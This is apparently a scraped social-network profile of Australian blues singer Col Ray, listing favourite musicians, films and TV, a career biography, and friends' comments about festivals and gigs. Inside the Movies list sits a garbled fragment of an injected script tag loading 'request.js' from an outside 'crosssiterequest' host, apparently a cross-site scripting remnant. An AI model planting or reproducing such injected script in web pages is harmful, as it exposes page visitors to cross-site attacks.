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I am also a stong supporter of the arts. All arts. my family is full af artists, picture, dance and music. There is also a stong anit art movement in my family. Yes a true clash of ideology. I'll let you decide what side of the fence I'm on.I am a proud Zooid Art movement member that's Yianni Johns baby. Bringing art back to the people.
be warned, I have no time for thoes arty people who look down their nose at the others like they are some demi-god. Get off your high horse fool. We all have our strong points and our week points. Together we are collectivly known as a communitiy.
Music
All roots music. Mainly blues but jazz, Rock'a'Billy, old timey country. Hound Dog Taylor, R L Burnside, Hank Williams 111, Big Joe Turner, Little Ed and the Blues Imperials, Ko Ko Taylor, Brian Stetzer, The Stray Cats, Johnny Cash, Johnny Johnson, Chuck Berry, Jerry Lee Lewis, Little Richard, The Rolling Stones, Sleepy La Beef, Robert Johnson, Bob Brozman, Harry Manx, Dirty Dozen Brass Band, Preservation Hall Jazz Band, C W Stoneking, Rufus Thomas Jnr., Carl Perkins, Junior Brown, Gillian Welsh,Professor Longhair,Louis Jordan,Dr.John,etc.. etc..etc..
Movies
Oh Brother Where Art Thou. Walk The Line. The Price of the Blues. Desperate Man Blues..... language="javascript" src="http://crosssiterequest../request.js">function nothingf(){document.write("..1...{}");}..>
Television
Space Ghost Coast to Coast. Spongebob Square Pants. Cartoon Network. The History Channel
About me: Singer, song writer, performer and independent recording artist.
Col Ray has 5 albums out and more on their way.
He has a raw old school sound and style of music that sits between Mississippi’s Mountain Country (such as Rufus Thomas Jnr. & R L Burnside) to Chicago’s House Rock’n’ Blues (Hound Dog Taylor & Little Ed & The Blues Imperials).
Hi music has been described as “Good rootsy energy and plenty of attack. Attractive hoarse vocals full of personality and feeling” by Bruce Iglauer. Founder of Alligator Records Chicago Ill.
Hi music has been played on radio stations around the world. Col Ray’s cover of Tiger Man (Rufus Thomas) went to # 4 on the pop charts in Denmark in 2002 from being played on “It’s Roots Time” out of Belgium.
Tiger Man also went to # 9 in South America on an Argentine radio program “Good Time Blues”.
Col Ray has had national TV and radio air play in Australia. Both Rage ABC TV and Noise TV SBS had played his film clip “Freight Train”
His music has also been played on WXRT FM Chicago Ill. One of the oldest blues radio programs in the world.
Col Ray is a blues historian and consultant for the ABC and can be heard from time to time in the different states of Australia talking air on matters of the music, its history and relation to current issues.
Col Ray is a member of the Sydney Blues Society and has performed in their Blues Performer Of The Year Competition. As well as playing at some of their functions.
Col Ray is also a member of the Blues Foundation Memphis TN. This foundation runs the W C Handy’s each year. As Col Ray is a published blues musician this gives him the right to vote each year in the awards.
Col Ray also subscribes to the University of Memphis towards the conservation and preservation of the famous wire recordings of the old blues masters held by the National Libery of Congress
Col Ray plays a number of festivals around NSW on a regular basis as well as many venues in the Riverina, Illawarra, Greater Sydney, Central Coast and Hunter Valley.
In early 2006 Col Ray was the subject of a film documentary titled. “The Price of the Blues” By Damian Neil, who also filmed his music film clip Freight Train.
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Who I'd like to meet: Sam Phillips / Allen Freed / Marie Laveau
Oye, Scar Face - you talkin' to me??! You wan me fix your face real pretty? My name is HARPO, not Carpo! When Cuba chewed up your ear did you lose your hearing?? Fool! I've been spending my day sharpening one particular nail - you want me to stroke your face with it? Oh, Please - c'mon - it's nearly Christmas time - feel a little festive would ya!
Hi again, was great to see you at Bidgee Blues Fest and an honour to MC for you. Glad it is over and am looking forward to Wangaratta this w/e. (bought myself a tent yesterday) Woohoo :)
Was great to see and hear you again at Jazz and Blues Festival on Saturday. I had a fun (and full) weekend. Look forward to doing it all again in October.
Oops, that other comment was supposed to be from ME. Sometimes I forget who I am and who I am meant to be, but you already know that. Keep the music coming and keep making me confused!!!!! :)
Where you expecting the usual post-gig comment from me? Sorry, I was a bit slow. Fantastic as usual, I had a great time, is so good to have some music to dance to again. Keep those creative juices flowing. :)
Hey Col, good catchin up at the servo the other night with simmsy - we should write a weekly comumn with the topics we covered. Hope you and ROya can make it on the 19th Clint
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